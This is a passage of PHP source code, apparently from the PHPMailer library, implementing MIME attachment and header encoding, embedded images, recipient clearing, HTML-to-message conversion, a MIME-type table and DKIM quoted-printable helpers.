                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
